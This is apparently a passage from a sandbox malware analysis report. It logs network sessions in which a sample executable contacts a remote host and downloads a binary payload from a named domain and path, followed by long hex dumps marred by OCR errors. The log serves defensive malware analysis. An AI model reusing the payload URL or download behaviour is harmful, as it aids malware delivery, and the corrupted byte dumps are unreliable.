2021-11-25 12:01:12 UTC 281 IN
2021-11-25 12:01:12 UTC 289 IN
2021-11-25 12:01:12 UTC 297 IN
2021-11-25 12:01:12 UTC 304 IN
2021-11-25 12:01:12 UTC 312 IN
2021-11-25 12:01:12 UTC 320 IN
Session ID Source IP Source Port
2 192.168.11.20 49840

Copyright Joe Security LLC 2021

Data

Data Raw: 5d 34 b0 7b e5 91 6f Ob 13 20 17 da 67 57 a0 87 bf 95 4b 66 08 4b b8 f4 c4 76 99 4f 85 62 02 7e 7d c1 73 21
do bf 49 0d d8 7a 64 07 5f 4f ce 97 Oa dc 94 26 24 cc a7 4c 6b 2f f2 7e d5 0d 1a 2d 1f 6b 5e d1 6¢ 73 4e 35 71 98 45 e0 30
a7 b3 8d e3 5d 52 d7 4c df 66 ca 50 e6 9e f9 db cb 67 4b 61 1b 57 48 5b 67 11 3f fc 47 11 41 a9 1b 47 a7 b8 c5 bd 5d 66
8 13 45 90 28 7e 19 90 4b 33 56 49 07 39 04 76 b3 75 01 cd 93 5b ed 1d e3 5a db 2b d2 ec 35 77 76 79 03 df f5 d3 92 6d
4f 01 fe 86 4d Ob 07 3e 66 8d d9 Oe cO 9b 7e cd be c2 80 5c 5e d5 b2 e2 15 84 2d 45 89 c4 ba e9 61 08 90 3f fe fe 22 7e
ec 44 62 1b 5a 49 79 Oa e9 f7 34 42 40 f0 a0 Oa 7b 2a fd 43 2e b3 1f cf 90 f7 b9 c5 01 85 38 a2 62 bc 74 89 5f ¢5 3a 50 99
72 7b 4a 7a e7 4f 3e 3f 4f 01 07 17 8f 87 bb 3b 67

Data Ascii: J4{o gWKfKvOb~}s!lzd_O&$Lk/~-k sN5qEOQ]RLfPgKaWH[g?GAG]fE(~K3VI9vu[Z+5wvymOM>f~\"-Ea?"~D
bZly4B@{*C.8bt_:Pr{JzO0>?0;g

Data Raw: 18 ba d6 5f 31 8a 16 79 cd 91 4e f2 19 c0 f5 c6 18 df fe 49 41 a4 f9 01 01 ¢3 25 55 8b 7b b0 39 2d 43 7e f3 cO

eb 7a 5c d6 bc fe 7c 4e dO ba 11 1e a4 17 b2 32 49 ce c7 7a 4e 8d b9 60 b8 33 b8 6d 1a 1d 83 d0 d2 a9 67 fc d6 70 ec 9d
f4 a6 bd 6e 42 bd d6 80 76 ef df da 0d c8 05 47 ad b3 dd 5f 07 09 ba 73 79 96 b3 61 05 11 76 d1 62 e7 5f 5d 42 68 6b 6¢

b0 7c 3b c2 95 30 81 73 b3 09 38 ae 72 9e b7 c4 97 c2 e7 ca 91 83 30 b2 cf da aa 1b fa 3a 81 b4 90 12 de 6a 7a 66 5f cd
bl 6d 9d 5a a9 e4 12 33 71 2f d1 Ob 58 c2 41 59 a7 9f ae 57 ba da c6 cc be ec e5 b7 ad 90 16 3f 23 18 f1 78 al e6 64 42

92 13 28 a0 11 10 8f b0 25 fd b6 ab df 1c b7 53 bf bf 30 99 84 al 6d 4f f4 d6 6f 06 a3 69 83 2a ac 32 1f 4d b2 91 8a a4 51

6¢ 98 d7 6d 3d 14 3f df 56 31 39 ed d0 3c ce ab fb

Data Ascii: _1yNIA%U{9-C~z\|N2IzN'3mgpnBvG_syavb_]Bhkl|;0s8r0:jzf_mZ3q/XAYW?#xdB(%S0mO0i*2MQIm=?V19<

Data Raw: 6f 5d 45 95 9d 3b a9 46 1le a9 07 f0 80 ff 1a c7 4e 4d 60 f6 d3 24 ac 27 97 eb 78 e5 e4 a6 88 9b a3 fe 0a 74 Oe
3212 df 1c 3c 25 9c 0d 2f 91 02 62 3f c4 89 de 67 b4 4f 61 d8 7a 83 b1 61 55 39 e2 4b €9 6d 26 98 ce 55 el 11 d3 32 Oa
3d 68 6d c2 66 1b 83 d9 97 18 4e 47 56 ¢3 60 20 88 38 c2 f3 2e dc 30 4a 41 70 12 57 8b 03 ae 63 67 16 90 d4 ff a2 0a 98
d8 40 7d 17 e4 00 b6 c0 64 24 7c a8 16 dd 07 f1 21 cb 98 d6 27 39 3d a7 ec d0 07 2c eb ec 90 aa 8a 15 2e 68 5a 7f f1 9d
84 a6 31 df ee Ob 8b 7e be e3 e4 18 74 97 3f a2 a3 1d c8 16 63 da a7 49 8b Oa 4a 33 fa ff eb 53 3a 00 88 5f 82 e3 3f 29 fa
c7 ef 47 6¢ 78 5b e4 49 ea 16 1c 84 e2 89 05 a2 3e 18 1a ef 81 al Of 5d 66 05 cd 9e e9 a7 39 c4 3a 1c be 6a b9 84 90 82
b3 2e 12 4f 3a 26 41 41 75 54 5d 38 69 c3 3e 92 18

Data Ascii: 0]E;FNM $'xt2<%/b?gOazaU9Km&U2=hmfNGV" 8.0JApWcg@}d$|!'9=,.hZ1~t?clI3S:_?)GIx[I>]f9:).O:
&AAUT]8i>

Data Raw: d7 10 b6 98 45 cc 3c 2d e9 70 9f 88 67 fe 72 93 45 00 1d c6 9b 03 23 12 a3 77 0d e2 5b ea 8b 15 f5 ba d5 3d
5c f6 4b d5 b4 61 9a 8b a9 6f 43 88 8a 8c 8b 8¢ 4b 9c 87 62 97 fc 66 9a €9 3a 8b 21 e2 b2 c7 2e 5d 99 66 5¢ 78 22 51 43
7554 53 ¢8 ¢8 23 b0 18 90 8e c2 88 20 f9 e7 07 96 0 6a df Oa d1 5c ee 31 e7 97 dd 65 b8 ea 5e 61 df 9c 7b 80 05 9b 3e
b2 ca 61 57 2f 53 80 be 77 ea 10 dd b4 a0 a3 80 50 1a 24 9d 43 72 21 01 d4 a0 34 b0 c1 91 5d 15 60 7e 61 38 93 3d 97
2b db fc 55 54 d7 87 a4 Oe b3 e3 73 cf 7b 28 b7 bd 77 aa bl 13 51 ac eb fd e0 fc 49 6f 15 ea 97 ba 9c b5 d5 66 5f 48 f4 93
02 76 00 bb 3f 08 2e 5¢ 21 56 17 23 56 e8 85 35 1c 3e 28 88 72 ¢7 3d d0 6d b3 23 00 73 36 17 c0 c9 fa c1 1f 5d 25 47 a2
a7 7e 30 58 b7 d5 2f 03 de 2c 4b 05 5d 85 a9 b9 63 36 fb

Data Ascii: E<-pgrE#w[=\KaoCKbf:|.J\x"QCuTS# j\le"a{>aW/SwP$Cr!4] ~a8=+UTs{(wQlof_Hv? \IV#V5>(r=m#s
6]%G~0X/,K]c6

Data Raw: 77 d8 7b 6b 2a 25 48 05 38 5e 9d dc f4 d5 3c 5d e0 6e e4 c8 68 e7 36 a5 16 5a 57 9b 93 9c Oc 60 78 8¢ 64 7
4c 19 9e c8 33 5e 88 6e cf 74 36 3e 04 4f 09 ea ed c5 a0 59 b6 9e df dd 6e 38 70 0d 5¢ €9 b5 4b 39 d8 0d a4 54 49 21 d1
5c 77 d0 6¢ a6 50 75 c9 e3 e0 58 ¢7 6a 53 79 02 74 05 5a ae 8a d6 83 Oc 58 7a 6f c3 4a 54 bl aa 7c 6a 0f 22 66 7e da 93
al 94 3f 56 58 62 52 0b 69 bb 7a 3d fe bf a3 32 07 83 f0 9d b1 c9 a2 64 07 f7 ea 9b 79 6d d3 30 72 a2 49 17 2d e3 35 af
553 b4 aae4 70 ed 05 8c f2 a5 de b7 08 77 56 fa 52 ¢8 9d d8 10 54 46 9e ec 20 66 3a al 4b 55 3f 11 a6 fd ca f1 2c cc a6
18 1b b6 02 21 ec f3 55 2b 67 16 d5 86 01 3b 2b 8a 92 86 c5 87 df 33 ce 8f 80 ef cf dd 67 9a 1c b9 12 3e cb a2 d2 53 e6
59 a9 4a 31 bf 19 18 a0 d3 d9 df 5e d1 42 b2 1e f3 e

Data Ascii: w{k*%H8"<]nh6ZW xdL3"nt6>0Yn8p\KITI\WIPuXjSytZXzoJT|j"f~?VXbRiz=2dymOrl-5SUpwVRTF f:KU?,
U+g;+3g>SYJ1"B

Data Raw: cb 25 €9 09 0a 08 6¢ 8d 8b 5b 75 bd f1 b1 f1 0d 75 87 30 c0 6a 79 ca 9a 11 96 39 85 12 83 5b ec cb c2 11 25
bf 7d 84 49 61 87 75 48 20 d3 77 54 80 6d 37 d6 21 5f f7 3a 47 51 af dO 51 81 fa 8a 4c 26 63 57 94 fd 3d f7 d7 e7 68 bl 73
4 97 f4 f0 c4 79 dc 51 18 5¢ 96 56 23 ea 00 35 €3 40 c1 24 d2 5 1f 01 93 ¢3 7 73 79 10 02 14 7 8c dc 89 2c 3a a8 84 ad
05 81 69 03 54 95 €9 ca 86 f7 b0 f1 15 f7 7d 81 31 5b 95 bd 4d al 3e ad a4 Oa e6 54 40 fb f9 20 09 aa a8 80 88 2a fa e5 0f
89 3a 3b 4a b9 ec cd bc e4 2e 6f 43 f4 1e ae 6d 18 75 46 3c a5 4f db 34 9c 46 8e ce 9b b1 93 43 fc eb f1 43 76 76 eb 4c
a0 b4 c5 7d 49 44 3b f3 22 61 46 c5 ac ed ca af ad b4 eb d0 ab 13 80 af 21 78 a0 df c5 1c 87 fc 15 80 eb 65 84 73 26 72
96 b3 fe 20 21 79 fd 60 2f 60 a9 6¢ ec f9 cf 4a

Data Ascii: %I[uu0jy9[%}lauH wTm7!_:GQQL&CW=hsyQ\V#5@%$sy,:iT}H[M>T@ *:;J.0CmuF<O4FCCvVL}ID;"aF!xes&r
AN}

Data Raw: 14 27 Ob 9e 3f 22 e9 el 4b d7 fd cc 2a a7 20 d8 27 4a 9c 34 f2 fa 06 6b 51 fe e8 1e ef d9 65 5a 30 88 ae 98 ec
32c02b 3b f3 6b 7d 5e 83 15 29 c8 e7 62 72 4f 8¢ 26 85 aa fa cf 66 09 05 02 d1 12 ae 29 d8 86 31 29 le 97 c9 89 c3 d7
06 9f 65 8f 3e c1 85 6¢ 36 fd 3c 3a 7e 39 a8 d8 ce 56 6a 11 ec 96 bb 06 9e 1f bc d1 08 55 d1 21 b0 f2 d2 e2 af 1c ad d9 fa
80 cc be 13 3¢ 63 f4 d9 29 6d 36 61 01 2a 29 84 0d 19 8f 4a 65 9a 08 8d 93 60 57 20 9a 19 ec 50 27 97 5c da 73 d2 4a 49
73 64 fa ee 91 c5 c2 e5 69 16 f4 3e 59 92 80 2c 94 20 8f 45 08 cb 2d 15 35 8f f3 4b 37 €6 65 cb bc 8e 2c d3 63 82 f4 81 74
54 03 3b 09 9d 85 4e da le a3 23 5a 54 72 7d 03 30 a8 bb 60 2e 83 4e dc 16 7d ef fe 6e 6d 33 bl f0 al 64 a6 48 3b 4f 21
2b 9e 7f 39 4d c1 5a 3e 27 bd eb €3 29 c9 27 eb

Data Ascii: '?"K* 'J4kQeZ02+;k}")brO&f)1)e>16<:~9VjU!<c)mba*)Je'W P\sJIsdi>Y, E-5K7e,ctT;N#ZTr}0".N}nm3dH;O!+
9MZ>")'

Data Raw: 7d ee 93 7c c8 a7 54 e9 el 5f 44 d4 7b 12 05 02 53 9a 24 be 8f ee 28 6e 94 04 Ob e3 80 fc 64 b6 94 90 4d c1
cbh 50 70 5b Oc e3 da 4d 13 12 79 c9 d5 39 2c ba 06 19 fa 4f 70 ca 7f cc dd 3d 43 10 1c 4a 6b 80 dd b6 b9 3c e5 4f 38 8b
8b af 80 fd 32 8e 5c 66 €9 be 8e 5¢ da 58 ce Oc €9 al 5d fe de 19 6d 15 ec 43 35 6 8f b6 5d 29 €9 ab ed 8e 13 13 01 6¢
c1 b6 66 7e 9e d8 ea 93 9e 56 cb 42 90 99 98 79 ca cb d1 d6 aa 89 d0 d6 81 1c 74 cd 82 e0 6b 93 48 f2 Of 9c c2 fb ee f8
ca 1b 76 60 c2 ae ab 9b 5d 07 1d cd 6d 03 39 4b 02 c2 06 5e fa e6 d2 57 5d 95 38 2c aa 8d 0f 9b a8 dd 19 c5 52 b3 1f ad
b5 02 25 ab 37 36 60 25 b8 cc cd 2¢ 39 71 e8 86 57 cc 8d 44 ea 3e 87 9f 5b 0a 60 8b 99 66 aa b4 52 b4 91 ca 69 c7 29 63
93 e4 9e Oc cO ee 48 ¢3 41 2a 4b d5 ff 09 33 8b 8f 7e 30

Data Ascii: }|T_D{S$(ndMPp[My9,0p=CJIk<082\AX]mC5])If~VBytkHv Jm9IK"W]8,R%76 %,9qWD>[ fRi)cHA*K3~0

Data Raw: 07 13 23 bb 38 c9 12 7e 8f ba c8 7b 28 f2 25 a6 8 69 ac ac 9a dd 8f 1d a9 13 57 58 58 8 63 34 d0 83 66 01
0d 00 6¢ 4b 59 dd 90 91 dd 19 42 76 7f e8 78 a2 04 fb 83 63 bd 05 c7 d2 Oe el d9 00 60 8a 34 73 c8 78 3e 5b e7 3e a3 9d
ed 5b 1a 06 f0 9f 51 fa 44 a4 95 ae 99 79 f2 2b 5¢ 9f cO c4 5b 64 al 76 e2 26 98 54 b0 67 60 f8 9b a2 b3 6a 1d d4 ac 87
32354 da 1b 70 52 ¢3 09 51 1c 05 4a 39 37 8c 1e d5 98 4a dd 10 04 06 Oe ab cO ec de 54 c1 e5 4b e3 9f a9 b5 33 0b 6d
03 3b ea 64 49 al 8a c4 0d 1b d3 59 41 4a 0d 86 49 38 72 c8 ca cd 5f cf Oc 86 70 a9 fc f7 09 35 bl a9 71 42 c4 37 f4 b8 4f
18 f7 22 b0 €9 62 6e b5 c8 df 7e 73 f2 93 ab 94 f2 9e 37 6b 95 f3 05 3d 96 36 a0 97 a6 db a5 95 e4 a7 7e 3a e0 e6 ed 80
3b 17 16 ed fc ab d1 bc 64 ff 41 fb eb 91 c1 8e 6f f4

Data Ascii: #8~{(%iIWXXc4fIKYBvxc 4sx>[>[QDy+\[dv&Tg j2TpRQJII7ITK3m;dIYAJI8r_p5gB70"bn~s7k=6~:;dAo

Destination IP Destination Port Process

107.6.148.162 443 C:\Users\user\Desktop\Zr26f1rL6r.exe
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kBytes
Timestamp transferred Direction Data

2021-11-25 12:01:25 UTC 327 ouT GET /GHrtt/bin_kbJoepxz175.bin HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: atseasonals.com
Cache-Control: no-cache

2021-11-25 12:01:25 UTC 328 IN HTTP/1.1 200 OK
Date: Thu, 25 Nov 2021 12:01:25 GMT
Server: Apache
Last-Modified: Wed, 24 Nov 2021 12:20:38 GMT
Accept-Ranges: bytes
Content-Length: 167488
Connection: close
Content-Type: application/octet-stream

2021-11-25 12:01:25 UTC 328 IN Data Raw: 70 99 d0 d2 81 fc a4 8c 6e ba 05 d0 4f 67 65 7f 4e 1e 4a f3 03 49 ab 4d 8 3b 67 96 a3 b5 f7 07 46 d9 a0 8b 7f
32 0c 43 a2 5a 42 b2 12 de b0 f4 94 d3 dc 46 6¢ cf 8e 15 59 63 2a 6b 99 39 71 c3 a8 94 6¢ 4a 84 13 81 5d 6a 1e 54 51 46
ba f1 ed d4 08 cO 6b 8d b8 64 71 ec 91 c7 1a 01 6d 7f 49 a6 3a 51 3c d1 ca Oc 98 4f 06 47 24 6b ec 56 9c d7 39 29 7f 90 8
10 2b ff c6 eb 49 87 e7 €0 70 77 €6 54 c0 aa 3 4b 59 89 c0 66 fa 8f 90 47 e4 0a 64 47 b5 d4 b5 71 92 58 65 b7 82 12 15
37 dd 6f c2 ec 2e 2b df 1d cf 2c 5e 7a d8 f2 d7 16 ec 09 81 e5 9d 39 0d e2 1d d4 71 ba ff de 2e 9b 03 5e 74 c4 af 5¢ 6d 82
2a 3afb 21 10 13 c5 ce 56 69 4f 4e 29 b7 4f 90 af €9 9a cd 2d 39 69 e5 2b 66 10 5b b4 5e 9d €0 b1 b1 c0 09 52 76 c0 87
3399 a3 bb ca 51 43 75 54 5b 4e a0 ab 74 91 19
Data Ascii: pnOgeNJIM;gF2CZBFIYc*k9glJ]iTQFkdgml:Q<OG$kV9)+IpwTKY{GdGgXe70.+,°z9g. t\m*:!ViION) O-9i+f
["Rv3QCUT[Nt

2021-11-25 12:01:25 UTC 336 IN Data Raw: 8e bc 4e ec 48 d6 a2 16 02 23 e6 e8 1f c6 a2 f1 87 bf bc dc f2 e5 1d 71 93 43 e5 8 66 89 73 ea 07 49 9d 46 cf
62 29 04 b0 e9 ff 10 16 06 87 4d 38 5b 62 65 fc dc 00 f5 ba 79 ad 56 32 fd 03 8f fb 4b a3 5d d9 ce 81 4a 9e 3d 17 f4 d2 al
€7 87 3d fd 91 4b 9a 13 dd 39 3b e3 c6 4f 06 1c 79 d3 83 26 00 53 1b 67 5¢ 44 5b d7 c5 62 93 8e 6f 5e 54 c¢7 c8 d9 a6 d5
ad 5a 6e da 10 69 c7 77 c2 68 d5 b1 0a 47 90 e0 8d 6a c4 32 66 27 47 62 84 7f 3d 22 1c 03 85 6¢ ab 59 45 eb 4f 70 ed 38
f2 31 d8 5d 7f 7 6a d4 8d e0 3d 2c 94 bd bd 34 7c 13 68 7f d2 e5 fe ¢7 04 85 50 1c bd 6 f8 38 d0 29 78 5b 26 a9 d3 c5 eb
01 5f 8a aa 88 23 3f 9d Oe a8 06 f9 96 8b 3e 21 23 9c 5b 82 da cd 2b 99 a0 fe 37 cb c6 17 31 d1 3e 34 39 7e 3f 48 2b bc
10 99 e2 7e 1d 53 6¢ €7 67 00 b8 4c cb 8f 35 3¢
Data Ascii: NH#qCfsIFb)M8[beyV2K]J==K9;0y&Sg\D[bo TZniwhGj2f Gb="IYEOp81]j=,4|hP8)X[&_ #?>!#[+71>49~?
H+~SlgL5<

2021-11-25 12:01:25 UTC 343 IN Data Raw: 17 ca c7 b5 b0 fd 86 d4 50 e2 18 b0 be fc 2c 30 5¢ 16 11 88 54 5e c2 28 df 35 9a e5 69 10 10 31 89 2f e6 ff 54
6f a8 c¢6 95 52 74 48 ¢3 55 81 2d a3 39 d4 90 8c de 8f ac 70 eb dO 5¢ 9a b4 cb c6 df e5 6e 92 bb e0 07 43 df 69 24 b6 a3 ff
52 4d 29 ca 8f 99 4e 68 fd 8d 02 21 f9 01 4f dO 8 f4 b2 d7 01 9e 4f 32 70 2f 03 53 61 cf 97 3d 62 d8 cb 03 51 97 a7 1f fa
e3e0 00 ae 92 0e 09 13 96 7e 52 65 3e 2c 36 85 a9 5f 75 e6 c6 6b 89 c3 66 55 25 98 6d c9 f0 bf 96 47 05 9a 61 2d 1b 23
3c d2 96 92 82 cd d6 ba 3e e6 4b 58 a5 48 1a 87 7a 4e a4 al b0 2f c4 55 d6 16 76 a6 7e 33 3e 12 d9 fe 29 5¢ 1b e6 13 d5
acal ad c2 77 9a 02 73 8b ad 40 f6 2c 55 64 27 90 b5 a5 e4 a9 df 87 eb b3 1f Oe 25 al 6a 1c 00 e9 16 al dc 22 2a cc fc
49 cb 9d 4b 61 fc 33 db 5f 43 37 03 ¢7 17 86 ac
Data Ascii: P,0\TA(5i1/ToRtHU-9p\nCi$RM)Nh!OO2p/Sa=bQ~Re>,6_ukfU%mGa-#<>KXHzN/Uv~3>)\ws@,Ud'%j"*IKa3

Cc7

2021-11-25 12:01:25 UTC 351 IN Data Raw: 5e 04 43 a7 80 c5 2e bc ac 30 1b fd 04 75 d2 7b c3 ff 8f b3 94 45 75 96 b0 c1 Oe c5 b4 fe 2¢c bl ea f1 19 bc 38
04 74 40 f6 58 cf 71 0f 1d 37 59 d4 56 20 d6 3b Ob 08 06 2b 25 af 1c e8 5d 25 2b a9 a9 84 c0 fc 5¢ 15 9e 07 91 73 db 7e
b9 86 27 ec 6f ef 41 31 47 63 86 4f b4 d0 cO 7e 85 7f 34 15 92 9b a9 64 70 cc de 9f a5 6e db 3f e8 ec 35 9e a0 26 0f 59 b8
24 95 fd 58 9f 6f 6a €5 01 85 0a Ob 08 6a €0 61 43 7d Oa 70 5d d7 d5 19 95 5a d5 8c f0 37 72 50 a0 cc f8 47 {9 ef af e9 4c
94 65 65 81 fa 5¢ 37 a8 cb a6 7c dd a5 58 79 el 91 0a 47 af 03 bc cf 03 e8 4d d6 93 39 65 e6 7b 6a fb 85 bc aa 46 76 d9
b3 d3 9e 04 54 9e 7f e3 4f 52 87 33 b9 08 2f a0 02 a8 b2 21 6e 07 d1 3a 84 8d 7a 08 ¢8 80 91 23 98 Ob cb b7 03 07 3e 34
a9 c8 c4 db f6 7c 5d 81 f9 6a 58 32 78 f5 85 ae
Data Ascii: *C.0u{Eu,8t@Xq7YV ;+%]%+\s~'0A1GcO~4dpn?5&Y$X0jjaC}p]Z7rPGLee\7|XyGM9e{jFvTOR3/In:z#>4|]jX2x

2021-11-25 12:01:25 UTC 359 IN Data Raw: 10 24 e9 36 49 4b 33 3f ba 8b 32 30 9e 48 46 3e 28 e7 ce ¢7 f9 03 d0 c0 2b f2 4b 41 2c 3a 96 8e 46 0d 63 2d
d7 Ob 4e d7 ba ef b6 ec 68 3b e0 4e de 91 bd dc 1b d2 04 7c cO 14 44 a9 bf 32 ea 46 fa 70 92 bb e4 ¢5 95 17 c9 a0 2b Oa
81 c4 0d 82 88 14 16 3b 92 db 30 c5 8 f6 f5 b3 c6 8¢ ba b6 c4 91 6a 02 82 a5 9b 20 f9 72 f0 00 6f 46 3d 6¢ 9b fO 19 de 6a
19 23 92 bb 0Ob fb 12 49 d8 d1 4e 31 fa ca 64 ef 07 91 de 08 9e fO 1b c4 57 59 a7 89 e0 ea d6 40 3c d5 le d7 ea 6e cO f1
67 de c3 ef c4 80 61 ac 13 a5 fa 22 90 53 e0 43 11 ec c3 e9 c4 f0 78 10 cd eb 15 6¢ 89 de e4 fe da Oc 85 al 7c el ec 18
42 b4 26 ea ea 93 ec 02 99 62 cb 42 0d bl ce c6 06 10 35 4b 6b dc 91 88 92 ¢5 92 42 60 e4 07 80 b6 f6 b7 dc 88 2f 35 f3
c9 a7 ca 6e 25 6b 6f 92 8c 5a ac 9d 81 6f 70 42 41 83
Data Ascii: $61K3?20HF>(+KA,:Fc-Nh;N|D2Fp+;0j roF=Ij#IN1dWY @<nga"SCxl|B&bB5KKB /5n%koZopBA

2021-11-25 12:01:25 UTC 367 IN Data Raw: 8¢ e2 92 21 9f f8 12 80 71 84 bb 0d 80 91 03 cc 26 88 73 33 ec la dd b9 91 14 4c 37 25 ba 25 7e ef 29 al 28
6c c5 3d bb 07 44 cd e3 18 34 78 b9 e8 f0 f3 88 4f d4 cb 68 a4 fc 81 7b 7d 01 17 38 a3 f9 03 2f 47 85 af 26 €8 15 78 €9 d3
8a 28 94 95 Oc e9 77 8b c1 d0 0f 3b 94 07 9b 6d 7a 2e ca fa ce 04 90 40 1e 60 b7 42 32 d7 88 60 d7 01 4c a0 5e cd 95 16
83 cle519 71 d4 ff ef b3 dc a3 40 aa 69 al 87 79 10 75 a2 d9 ¢6 08 60 bc 69 b4 13 01 ef 9¢c b6 75 ea 17 ed 29 9a 03 a0
d6 eb b7 a5 Oc 5a 64 5¢ a2 2b d3 cf 9f 5¢ 5e ac 0a d6 34 49 a4 4a a2 c7 83 ee 75 86 ae cl 67 cf 6f ca 3f Oe 9e b0 f9 e3 9
e7 7f b7 97 3e 5b 8a a2 bb 41 14 53 f6 90 07 8e 60 df Oa f8 18 77 4c 6a 8f 8b 69 1f c7 08 6d cc 53 12 bf 2b bl e2 4a c4 a6
d7 50 59 f2 5d 9c 2a 68 71 21 fd da 71 20 5c 63
Data Ascii: 1q&s3L7%%-~)(I=D4xOh{}8/G&x(w;mz.@ B2 L q@iyu’'iu)Zd\+\*41Jugo?>[AS wLjimS+JPY]*hq!q \c

2021-11-2512:01:25 UTC 375 IN Data Raw: 77 74 a8 2a 4b e2 06 58 96 8d ca 8d 97 65 ff 91 4b 09 4b d8 7f 8a 8e 9a bl 7a 27 ad e7 be Oa c7 2a 84 66 f3
ed 22 14 a0 8a ab 86 86 a0 57 c7 6f 49 8f 15 82 df 06 4e ee 1b 5¢ 2f df ae ed cb Oc b3 38 49 dc d3 b9 ea 5e c8 37 11 ee
809 3c 02 88 cf ac d7 f7 ec fc a8 71 ea 2¢c b6 70 94 26 40 07 5d ce 15 cb fa 24 65 43 be 34 b0 53 91 40 fd 60 7e 3a 3b 2a
60 3 8c 2f 3f bd d9 42 87 58 a9 8f 58 3c c4 93 32 74 55 f4 6e al 4c bl 6e 83 75 68 2a 4a 63 ea cb 02 48 d2 d8 d5 9a a0
b7 fc 06 03 1a 56 ba 3f 46 4b 5¢ dd a9 e8 2a 7d df fb 81 €2 7b b7 60 72 c7 5b 59 al 35 ca e0 7f 37 65 86 21 06 3e €0 0d
95 41 ac 28 fe 43 2b 31 3d d3 fc 21 7d 45 2e 3 dO cb b9 1f 31 33 22 df 1d 92 al fe 51 3d dd d7 2a 99 ee dO 7d 36 26 61
80 a9 c0 3 18 39 8e 12 f9 c0 d1 a8 15 3d 5f 2f c9 82
Data Ascii: W*KXeKKz*f"WoINV8IA7<q,p&@]$eC4S@ ~:;* 1?BXX<2tUnLnuh*JcHV?FK\*}{ r[Y57e!>A(C+1=!}E.1
3"Q=*}6&a9%=_/

2021-11-25 12:01:25 UTC 382 IN Data Raw: 93 f7 95 01 1c e9 c9 90 db 44 18 c¢7 57 dO 65 23 22 c6 e3 c8 €8 80 e5 ee 48 59 19 8 44 3f 5a 75 8b ab f1 fd 5b
06 57 6a 17 2d b3 e0 72 42 be f5 13 a7 75 1a 9a c1 ad fe 4f cd 14 9e 03 2b 88 7c 5¢ 2d de ce 87 bc 11 6a 59 ba 4d fb c2
82 cd 64 f5 a3 d0 35 13 1f 03 48 7d 4f Ob ae 21 9c 2e 3f af ea b2 ed b3 c9 a7 85 bf 28 3a d8 92 a5 97 {7 58 6e 54 5d 55 59
b9 ¢8 70 61 b3 c5 12 1d 94 99 4b Oe 46 70 95 fa 71 be 7a 19 bc 37 de 26 a5 ab 9b 17 51 14 dd 66 56 fe Ob e3 d4 a9 5b fb
d2 71 2a 86 9d 04 9d 71 a0 dc f7 dd 00 fe b7 47 c8 ef 63 22 56 3c c7 bd c8 38 c9 13 86 fc 3d f0 20 87 af 9f 46 1e bd bf 5e
a8 85 3e 73 78 06 b5 45 ¢5 62 eb 73 8f eb ec e4 1d 01 2e 4d 1c 89 c4 3d 54 c8 fe f1 95 7c Ob c4 4a 71 37 e0 19 d0 dd ba
8d e7 1d bd fb 49 18 0f 47 81 bc 97 af b3 93 75
Data Ascii: DWe#"HYD?Zu[Wj-rBuO+|\-jYMd5H}O!.?(:XnT]UY paKFpgz7&QfV[q*qGc"V<8= F*>sxEbs.M=T|Jq7IGu
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kBytes
Timestamp transferred Direction Data

2021-11-25 12:01:25 UTC 390 IN Data Raw: cO 96 49 cd 9d e3 59 af 89 3 bf ba ca 96 50 ca eb d6 6b Of df e2 39 al bb el 71 2e dc 70 7c b3 fe bl 3d 5a dc
17 19 2b c5 8d eb ec 96 69 78 a3 1f 61 30 c4 3d f9 58 2a 3d 95 1a 3b 1d 02 8e c8 9¢ 35 3b 7e 33 01 91 2c 2a 2a e7 le Of
cd 58 3e c2 7d c3 le be 57 dO 1f 43 a8 €9 b1 el 65 65 8f aa 09 4a 95 40 0a 95 59 2c 47 21 76 34 1d 92 67 77 b4 2e 95 22
53 5b 16 a9 33 38 85 97 9e ad 7 bd cf 33 ae fe 8a e3 4d 65 3b a0 e3 f1 b3 28 45 95 ae 00 8d 57 13 4d a2 aa e7 81 51 61
dO0 3a 4f 10 b9 23 68 07 29 52 ac 1b 34 1a 61 05 ca c5 07 d4 3b 5¢ 3e 99 97 Of cd 2b b8 2b 47 dc 01 59 73 a3 f9 e5 7c 3f
1b 4f 39 e3 d8 ea el 2b 3d 52 83 5 59 7 1d 9b 93 18 ea 77 43 8c 82 Oe dd 90 bb 77 55 02 41 de 8a 0f f8 Oc 72 5a 48 d7
a8 76 d4 12 f4 7a 30 Oe 5a 2a c4 bb ed d6 7e f9 92 16
Data Ascii: IYPk9q.p|=Z+ixa0=X*=;5;~3,**X>}WCeeJ@Y,G!v4gw."S[383Me;(EWMQa:O#h)R4a;\>++GYs|?09+=RYwCw
UArZHvz0z*~

2021-11-25 12:01:25 UTC 398 IN Data Raw: d9 61 6f 9a cO da 28 6¢ Oe 3e cf 1c Of cd cO 4e 75 e2 54 1f 7d 92 f6 a6 e5 a7 f5 96 5f 8a 39 27 ba 8a b0 99 c5
€0 6f f7 4e fa 16 01 e5 46 de 9b 99 66 19 le 4a 44 f4 f9 58 fd a9 f2 38 3b 90 ca df 9e bb d7 ce 69 bc 3d fb dc 3c 66 a3 83
fc 36 ¢4 d7 df 90 46 f9 ed 98 c1 19 e5 92 ef 07 e3 d5 a0 c6 9e Oc 9f al f3 01 b6 26 8a dc 6e 40 af d8 f1 6a 2 6f 49 47 4d
9a 61 a8 50 68 a6 5e 83 bl ea 10 ba 8f 83 79 f0 48 37 81 5d 3a 2c d7 d3 4f 62 6f 86 cc 10 4b 6b e4 46 6a 3c 85 6d 30 la
8a fd 2e c0 el 22 97 b9 91 35 f3 67 4f ee €9 a3 6b ec db 09 97 c6 d6 80 fa 8d 42 c3 7f 55 eb 49 b2 62 a0 8f 86 06 be 98
42 d4 c3 6b 57 f3 bf 35 86 89 96 57 6¢ 93 €6 c5 a6 da 7e 9a b0 78 d2 8b 73 11 59 el 4d 0a 08 6f Ob ad 00 15 c0 e5 05 92
b6 f2 45 9f 32 67 c6 e4 ff 73 cb 17 f0 19 02 7d
Data Ascii: ao(I>NuT}_9'0NFfIDX8;i=<f6F&n@jolGMaPh”"yH7]:,0boKkFj<m0."5gOkBUIbBKW5WI~xsYMoE2gs}

2021-11-25 12:01:25 UTC 406 IN Data Raw: 9f 4f 06 44 ed 3a 67 59 cc 84 6b 7b 2d c1 d9 f8 20 b1 c6 eb c2 28 b5 b6 fb al 11 3e 80 aa 47 c1 50 98 fd bc ce
de 3a 95 60 64 17 67 4e eb 32 49 be b4 Oc d6 ba f8 9e 04 71 98 1b 82 3e 4a 26 25 b9 37 fd 1b 7c cf 67 ba 33 36 67 d4 00
